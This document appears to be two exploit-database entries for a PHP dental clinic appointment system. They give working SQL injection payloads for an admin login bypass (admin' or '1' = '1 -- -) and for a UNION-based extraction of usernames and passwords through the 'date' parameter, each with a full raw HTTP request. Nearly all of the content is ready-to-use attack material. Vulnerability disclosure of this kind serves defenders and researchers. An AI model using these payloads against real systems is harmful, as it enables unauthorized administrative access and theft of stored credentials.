# Exploit Title: Dental Clinic Appointment Reservation System 1.0 - Authentication Bypass (SQLi) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code # Version: 1.0 # Tested on: Ubuntu 18.04 TLS # Description: # Attacker can bypass admin login page due to unsanitized user input and access internal contents # vulnerable code in /admin/index.php, line 34: $query = "SELECT * FROM users WHERE username='$username' AND password='$password'"; # payload: admin' or '1' = '1 -- - # Proof of concept: http://localhost/admin/index.php POST /admin/index.php HTTP/1.1 Host: localhost Content-Length: 54 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Linux; Android 6.0.1; E6653 Build/32.2.A.0.253) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/admin/index.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p dnt: 1 sec-gpc: 1 Connection: close username=admin'+or+'1'%3d1+--+-&password=test&submit= ------ # Exploit Title: Dental Clinic Appointment Reservation System 1.0 - 'date' UNION based SQL Injection (Authenticated) # Date: 12.05.2021 # Exploit Author: Mesut Cetin # Vendor Homepage: https://www.sourcecodester.com/php/6848/appointment-reservation-system.html # Software Link: https://www.sourcecodester.com/download-code?nid=6848&title=Dental+Clinic+Appointment+Reservation+System+in+PHP+with+Source+Code # Version: 1.0 # Tested on: Ubuntu 18.04 TLS # Description: # the 'date' POST parameter is vulnerable to UNION-based SQL Injection # Attacker can use it to retrieve sensitive data like usernames, passwords, versions, etc. # payload: ' UNION SELECT NULL,NULL,@@version,username,password,NULL FROM users -- - # Proof of concept: http://localhost/admin/sort_date.php POST /admin/sort_date.php HTTP/1.1 Host: localhost Content-Length: 84 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://localhost/admin/sort_date.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=3cjdtku76ggasqei49gng91p3p dnt: 1 sec-gpc: 1 Connection: close date='+UNION+SELECT+NULL,NULL,@@version,username,password,NULL+FROM+users+--+-&sort=